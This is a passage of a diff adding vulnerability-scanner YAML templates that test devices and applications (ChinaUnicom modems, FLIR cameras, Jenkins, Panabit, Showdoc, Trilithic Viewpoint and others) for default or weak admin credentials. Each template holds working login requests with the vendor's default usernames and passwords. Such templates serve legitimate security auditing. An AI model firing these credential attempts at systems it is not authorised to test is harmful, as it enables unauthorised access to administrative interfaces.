+      - "{{BaseURL}}/api/user/login"
+    headers:
+      Content-Type: application/json; charset=UTF-8
+    body: |
+      {"username":"admin","password":"arlpass"}
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"message": "success"'
+          - '"username": "admin"'
+          - '"type": "login"'
+        condition: and
+      - type: status
+        status:
+          - 200

default-logins/chinaunicom/chinaunicom-modem-default-credentials.yaml

@@ -0,0 +1,22 @@
+id: chinaunicom-modem-default-credentials
+
+info:
+  name: Chinaunicom Modem Default Credentials
+  author: princechaddha
+  severity: high
+  tags: chinaunicom,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/cu.html"
+    body: "frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password="
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - "/menu.gch"
+        part: header

default-logins/dvwa/dvwa-default-login.yaml

@@ -3,6 +3,7 @@ info:
   name: DVWA Default Login
   author: pdteam
   severity: critical
+  tags: dvwa,default-login
 
 requests:
   - raw:

default-logins/flir/flir-ax8-default-credentials.yaml

@@ -0,0 +1,41 @@
+id: flir-default-credentials
+
+info:
+  name: Flir Default Credentials
+  author: pikpikcu
+  severity: medium
+  tags: default-login,flir
+
+requests:
+  - raw:
+      - |
+        POST /login/dologin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 35
+        Accept: */*
+        X-Requested-With: XMLHttpRequest
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+        Connection: closen
+
+        user_name=admin&user_password=admin
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"success"'
+
+      - type: dsl
+        dsl:
+          - contains(tolower(all_headers), 'text/html')
+          - contains(tolower(all_headers), 'phpsessid')
+          - contains(tolower(all_headers), 'showcameraid')
+
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/jenkins/jenkins-default.yaml

@@ -0,0 +1,50 @@
+id: jenkins-weak-password
+
+info:
+  name: Jenkins Weak Password
+  author: Zandros0
+  severity: high
+  tags: jenkins,default-login
+
+requests:
+  - raw:
+      - |
+        GET /login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: {{cookie}}
+
+    extractors:
+      - type: regex
+        name: cookie
+        internal: true
+        part: header
+        regex:
+          - 'JSESSIONID\..*=([a-z0-9.]+)'
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "/logout")'
+          - 'contains(body_4, "Dashboard [Jenkins]")'
+        condition: and

default-logins/panabit/panabit-default-password.yaml

@@ -0,0 +1,45 @@
+id: panabit-gateway-defalut-password
+
+info:
+  name: Panabit Default Password
+  author: pikpikcu
+  severity: high
+  reference: https://max.book118.com/html/2017/0623/117514590.shtm
+  tags: panabit,default-login
+
+requests:
+  - raw:
+      - |
+        POST /login/userverify.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 246
+        Origin: {{BaseURL}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAjZMsILtbrBp8VbC
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
+        Referer: {{BaseURL}}/login/login.htm
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+        Connection: close
+
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC
+        Content-Disposition: form-data; name="username"
+
+        admin
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC
+        Content-Disposition: form-data; name="password"
+
+        panabit
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<META HTTP-EQUIV=REFRESH CONTENT="0;URL=/index.htm">'
+          - 'urn:schemas-microsoft-com:vml'
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/showdoc/showdoc-default-password.yaml

@@ -0,0 +1,31 @@
+id: showdoc-default-password
+
+info:
+  name: Showdoc Default Password
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://blog.star7th.com/2016/05/2007.html
+  tags: showdoc,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/server/index.php?s=/api/user/login"
+    body: |
+      username=showdoc&password=123456&v_code=
+
+    headers:
+      Content-Type: application/x-www-form-urlencoded;charset=UTF-8
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"username":"showdoc"'
+          - '"user_token":'
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/szhe/szhe-default-password.yaml

@@ -0,0 +1,33 @@
+id: szhe-default-password
+
+info:
+  name: Szhe Default Password
+  author: pikpikcu
+  severity: low
+  tags: szhe,default-login
+  vendor: https://github.com/Cl0udG0d/SZhe_Scan
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      [email protected]&password=springbird&remeber=true
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'You should be redirected automatically to target URL: <a href="/">/</a>'
+
+      - type: word
+        words:
+          - 'Set-Cookie: session'
+        part: header
+
+      - type: status
+        status:
+          - 302

default-logins/viewpoint/trilithic-viewpoint-default.yaml

@@ -0,0 +1,33 @@
+id: trilithic-viewpoint-default
+
+info:
+  name: Trilithic Viewpoint Default Credentials
+  author: davidmckennirey
+  severity: high
+  description: |
+    Searches for default admin credentials for the (discontinued) Trilithic Viewpoint application.
+  tags: default-login,trilithic,viewpoint
+
+requests:
+  - raw:
+      - |
+        POST /ViewPoint/admin/Site/ViewPointLogin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 65
+        Content-Type: application/json
+        Cookie: trilithic_win_auth=false
+
+        {u:"admin", t:"undefined", p:"trilithic", d:"", r:false, w:false}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"authorized":true'
+          - 'redirectUrl'
+        part: body
+        condition: and